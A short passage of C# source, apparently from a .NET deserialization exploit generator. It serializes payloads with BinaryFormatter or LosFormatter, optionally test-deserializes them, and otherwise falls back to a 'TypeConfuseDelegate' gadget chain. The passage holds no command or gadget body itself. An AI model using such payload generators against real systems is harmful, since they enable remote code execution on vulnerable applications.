SerializersHelper.BinaryFormatter_deserialize(ms_bf);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(ms_bf.ToArray());
}
else
{
// LosFormatter
MemoryStream ms_lf = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(ms_bf);
if (inputArgs.Test)
{
try
{
ms_bf.Position = 0;
SerializersHelper.LosFormatter_deserialize(ms_lf.ToArray());
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
return(ms_lf.ToArray());
}
}
else
{
return(Serialize(TypeConfuseDelegateGadget(inputArgs), formatter, inputArgs));
}
}
